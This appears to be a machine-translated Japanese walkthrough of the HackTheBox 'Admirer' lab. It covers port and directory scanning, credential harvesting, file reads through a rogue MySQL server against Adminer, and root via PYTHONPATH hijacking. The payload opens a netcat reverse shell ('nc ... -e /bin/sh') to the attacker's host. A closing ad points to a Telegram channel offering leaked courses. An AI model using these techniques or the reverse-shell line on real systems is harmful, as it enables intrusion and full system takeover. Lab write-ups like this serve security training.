ボックスをハックします。ウォークスルーアドミラー。環境変数のなりすましによるAdmirerとRCEの脆弱性



私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています



この記事では、多くのスキャンを行い、AdmirerでRCEを活用し、環境変数を変更してpythonコードを実行します。



ラボへの接続はVPN経由です。情報セキュリティについて何かを知っている人々とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。



組織情報
, , Telegram . , , .



. , - , .





偵察



このマシンのIPアドレスは10.10.10.189で、これを/ etc / hostsに追加します。



10.10.10.187 	admirer.htb


最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500






ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。

nmap -A admirer.htb -p80,22,21






nmapスキャンの結果から、次のステップを選択します。したがって、サーバーにはFTPおよびSSHサービスがありますが、それらには資格情報が必要です。 robots.txtファイルを含むApacheWebサーバーもあります。このファイルには、admin-dirディレクトリという1つのエントリしかありません。これ以上の情報は提供されていないため、次のステップはディレクトリをスキャンすることです。このために、高速のゴバスターを使用します。パラメータでは、ディレクトリ(dir)をスキャンすることを示し、サイト(-u)、単語のリスト(-w)、関心のある拡張子(-x)、スレッドの数(-t)を示します。

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt






そして、2つのファイルが見つかりました。1つ目は電子メールアドレスを含み、2つ目はさまざまな資格情報を含みます。











そして、資格情報の中にFTPの資格情報があります。そして、正常に接続します。







サーバーを見回してみましょう。







すべてのファイルをダウンロードしましょう。







このアーカイブはサイトのバックアップである疑いがあります。解凍して、その内容を確認しましょう。

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz






ここでも、robots.txtファイルと、すべて同じcontacts.txtファイルとcredentials.txtファイルを含むある種の秘密のディレクトリがあります。







最初のファイルは既存のファイルと同じですが、資格情報の中には私たちが持っていないものがあります。







それらを使おうとしても、どこにも行きません。ダウンロードしたすべてのファイルでユーザーを探して行を渡します。

grep -R -i "user\|pass" ./






そして、同じユーザーに対してさらに2つのパスワードが見つかりました。利用可能なすべての資格情報を収集しました。







しかし、彼らもどこにも来ませんでした。



エントリーポイント



サイトで未解決のタスクを実行しようとすると、拒否されます。















すべての実行可能ファイルはutility-scriptsディレクトリにあるので、ホスト上でスキャンしてphpファイルを探しましょう。

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php






そして、ファイルadmirer.phpが見つかります。







情報を探した後、以下の 情報源から、RCEを取得する方法が明らかになりました。ホストをサーバーとして指定すると、接続の試行を確認できます。



ローカルホストでmyqslサービスを開始しましょう。

sudo service mysql start
sudo mysql -u root


そして、承認のためのユーザーを作成します。

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';






次に、構成ファイル/etc/mysql/mariadb.conf.d/50-server.cnfを変更して、誰でもホストに接続できるようにします。これを行うには、bind-address行をコメントアウトして、サービスを再起動します。







sudo service mysql restart


新しく作成されたユーザーに代わってログインします。











ユーザー



DBを選択しましょう。







次に、テーブルを作成しましょう。







そして、SQLクエリを実行してindex.phpファイルを読み取ります。このファイルには、(バックアップにあったように)資格情報を見つけることができます。

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'






次に、作成したテーブルに移りましょう。







そして、資格情報を見つけます。







そして、このパスワードを使用して、SSH経由で正常にログインします。



















ルート



sudoの設定を確認してみましょう。







したがって、このスクリプトをスーパーユーザーとして実行できます。このスクリプトを見ると、sudoの下でも実行されるpythonスクリプトの実行がわかります。







また、スクリプト自体で、暗黙的なインポートが指定されています。







環境変数を見てみましょう。Pythonパスに関心があります。







このようにして、同じ機能を含み、異なるアクションを実行する同じ名前のファイルを作成できます。次に、この環境変数を変更することにより、プログラムを実行します。これにより、ファイルが実行されます。

def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()






スクリプトを実行してみましょう。

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh






そして、バックコネクトシェルを取得します。







このマシンを完全に制御できます。Telegramに



参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles